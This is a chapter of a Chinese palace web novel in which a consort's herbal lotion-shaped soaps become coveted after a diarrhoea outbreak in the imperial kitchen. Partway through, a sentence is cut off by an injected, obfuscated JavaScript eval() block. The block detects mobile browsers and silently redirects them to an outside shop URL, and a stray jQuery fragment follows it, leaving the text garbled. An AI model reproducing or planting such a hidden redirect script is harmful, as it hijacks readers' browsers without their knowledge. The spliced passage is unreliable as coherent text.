为了送礼,西头所统共从膳房买了五斤猪胰子,大约能够做七十到八十块成品胰子。
其中,为了琢磨如何雕刻出生动的莲花,成婉浪费了大概十多块,在正式的制作中,又耗费了几块,最终做出的成品,只有六十多块。
这六十块中,太皇太后、皇太后是六块的份额,皇贵妃是四块,其他的贵妃、妃与嫔都是两块。
送完之后,西头所只剩下了十块左右。
这十块胰子,成婉本来打算留着给交际,亦或者是自己使用,可没想到,这位景仁宫的芳苓姑姑一来,全都给薅走了。
“这件事有些着急,待我之后再与您解释。”
没时间解释为什么,芳苓姑姑急匆匆地走了,临走之前,留下了一句让成婉放心的话。
自己研发的东西,成婉自己当然放心,而且,西头所与景仁宫关系良好,不会轻易坑自己。
既然如此,还有什么好焦虑的呢?
时间已经不早,成婉安心地收拾了床铺,再与小阿哥玩耍一番,安心地睡了。
这一夜,成婉睡得十分香甜,然而,东西六宫里却睡不着觉——
这一下午,发生的事情的确格外多。
腊八节,正是施粥的日子。施粥事宜由膳房实施,佟皇贵妃总管一切,无甚可说。只是,到了下午,忽然有人反映,自己吃了膳房的腊八粥,不一会儿就腹泻不止。
这让膳房总管察觉到了不对劲。
为了迎接腊八,膳房专门派人出来,一共起了两口灶,一口专门供宫内,一口供宫外,但有人吃出了问题,显然就是膳房内出了问题。
用佟皇贵妃的话来说,宫内的粥出了事,可以关上门内部解决。
可若是赏赐大臣的粥不对劲,给主子丢了颜面,那可是天大的事。
膳房的副总管汗流浃背,还没顾得上找出原因,膳房负责煮粥的小太监也拉肚子倒下了。
这无疑引起了膳房总管的警觉。
更糟糕的是,还没等他想办法将这件事捂住,景仁宫里负责监管的素兰姑姑听到了风声,第一时间赶到了。
这一下,又捅到了佟皇贵妃眼前。
腊八节只有一日,而腊八粥也只赏赐这么一天。膳房出了问题,佟皇贵妃不敢拖延,得了皇上的指示,将煮粥的事接下来,由景仁宫、永和宫等几个宫殿的膳房负责。
如此一来,才算是将这件事摆平。
给大臣们赏粥的活计出现了问题,虽说及时发现,造成的损失不大,但性质显然十分恶劣。
当天下午,佟皇贵妃还没忙完,就专门差人调查此事。
其中结果也没有多少悬疑之处——腊八节活计多,宫人们换岗不及,许多部分都做得有些粗糙。
就比如说,膳房里窖藏的山药烂了,没有及时处理。
而这些接触过烂山药的宫人,没有及时净手,就去做筛选豆子、熬粥等活计,加上自己冬日忙碌,正气不足,就会感染而导致腹泻。
太医院得出了确切的结论,让膳房的人无疑是大松一口气。
比起膳房故意藏奸,想要谋害皇嗣,因为操作流程处理不当而产生一些后果,性质实在是轻之又轻。
前者要掉脑袋,后者只需要得到一定的处罚罢了。
认定了事件的性质,膳房也不紧张了,在这个过程中,太医也发现了一些奇怪的现象。
膳房里有的内侍也沾染过山药,但自个儿没事,熬出来的粥也没有问题。
被单独点名,那内侍也急得慌,支支吾吾半天说不出个所以然。景仁宫的素兰姑姑倒也谨慎,开始从头到尾一件一件地问。
待问到内侍最近都会用一种药皂洗手时,太医叫了停。
“什么药皂?”
内侍忙不迭地找出了一块已经快被用得已经面目全非的胰子来,并期期艾艾地问:“太医,它……有问题吗?”
说到这里,内侍已经快哭出来了。
这药胰子也是他和一个宫女买的。
前些日子,听闻宫内出了事,又流传有到处都是“时疫之气”的传言,内侍胆小,吓得够呛,听说有一种加了药的胰子,便专门请交好的宫女帮忙弄了一些。
作为一个膳房的内侍,花大价钱去抓药服用什么防疫的事情,他当然是没那个资格的。
但花个十几文银子,弄个药皂来,还是可以的。
内侍的日子是不好过,但他还想着能够熬到总管,收一二干儿子,安度个好晚年呢。
太医没及时回内侍的问题,而是捏着这块药皂细闻。
以太医的资历,自然毫不费劲地嗅出了这块药皂的成分——苍术、艾叶、藿香、白芷。
常见的药材,很不错的方子。
考虑到前些日子刚刚发生的西头所事件,太医也明白这药皂是为了干什么。
只是,问题又来了。
这位内侍若真是因为使用这块药皂而免于腹泻,那么真正起作用的,是肥皂净手,还是这些药材呢?
若是后者,那能真的说明,膳房里潜伏着一些“时疫之气”吗?
太医的神色有些深沉。
专业人士不说话,其他人也吓着了,一时半会儿不敢吭声。过了一会儿,太医总算回过神来,给了内侍准话。
“这药皂没问题,成分很好,用着不错。”
这一句“不错”,彻底让内侍喜笑颜开。
只是,太医脸上仍然有些迟疑,让其他人也不敢完全放下心来。
检查完了膳房,太医没有急着下班,而是同素兰说了一句,想要去回禀佟皇贵妃。
“臣有一些猜测,不知该不该讲。 ”
素兰自然无有不应。
膳房事件是重要的事,太医要当面禀告,佟皇贵妃百忙之中,额外抽出了一点儿时间接见太医。
太医将药皂以及自己的猜测说了出来。
“你的意思是?”
太医恭敬地道:“此次腹泻事件,的确是因为膳房卫生管理不当,可这内侍因为药皂而免于受难,并不能排除时疫的可能性。”
“臣建议,近日应当重点关注膳房的状况,以免错过了其他可能。”
听到“时疫”二字,佟皇贵妃的神色凝重了起来。
“可
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17466354|201119||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
有避免的法子?”
太医道:“短时间内,可以暂时隔离这些内侍,待几日后,观看情况再解禁。”
这倒是老成之言。
佟皇贵妃点了头。
膳房人不少,将其隔离,自然会引起六宫的关注。不一会儿,膳房发生的事就传得沸沸扬扬,继而引起了小范围的恐慌。
在这时候,整件事中,曾经有过存在感,致使那位内侍免于腹泻的药皂忽然被传得神乎其神。
整个紫禁城里,能够制作药皂的,目前暂时只有西头所,而在这时候,主位娘娘身边的宫人们,忽然想起了西头所送来的腊八粥,以及随之送来的皂盒。
“谢天谢地。”
正所谓“踏破铁鞋无觅处,得来全不费工夫”!
这戴佳庶妃,真是个好的!
在膳房事件发生之前,这药皂不算什么,甚至还会被嘲笑。
可现在,谁不知道这是好东西?
戴佳庶妃不光送了药皂,还悉心在佛诞日这日制作了莲花形状,可不是蕙质兰心吗?
她们该回什么礼呢?
就在东西六宫拆开成婉送的莲花药皂,重新估计这药皂的分量与价值时,佟皇贵妃十分直接,在得知药皂有用,并且是西头所捣鼓出来时,派芳苓来全部拿走。
之后的事情之后再说,今日,先要用上。
于是,今日负责熬粥的内侍,都收到了一块顶好的莲花皂,要求他们在干活之前细细洗手。
下午,腊八粥赏下去时,一些亲近的宗室、大臣也得到了一块莲花药皂,不由得纳罕:
“这……今年宫里倒是有心。”
未闻宫中时,但见这莲花胰子的形状、气味,就知道是好东西。
而且,佛诞节用莲花元素,胰子是清洁之物,从含义和观赏性来看,都深得人心。
成婉并不知道,因为自己的贫穷,想要改善西头所的状况,从而捣鼓出来的莲花胰子,会在未来若干年中都成为宫中腊八节赏人的一种惯例。
而上行下效,无论是王公贵族,还是更遥远的江南,也因为宫里的赏赐,从而流行起了青色莲花状的胰子。
而这时候,安心睡了一晚上的成婉懵懂地睡醒,就得到了今日不用请安的好消息。
随之而来的,是各位娘娘们谢礼,以及汹涌澎湃的订单。
若是放在现代,成婉会开心于自己的产品“卖爆了”,做成了爆款。
可搁在后宫,成婉打了个寒噤。
她未来的日子,不能是一直做肥皂,卖肥皂的日常吧?
那会累死的!
历史书上总不能记载,“戴佳氏,无宠,擅做胰子”吧?
将不靠谱的观念甩出去,成婉没有在第一时间处理这些胰子需求,而是思考片刻,叫春桃出门跑一趟。
“去景仁宫一趟,问问芳苓姑姑,我想去给娘娘请安,看方不方便。”
能有胰子的畅销,运气是一方面,佟皇贵妃的支持又是另外一方面。
如今拿不准主意,自然是先去问问。
谁让佟皇贵妃是她的好领导,好大腿呢?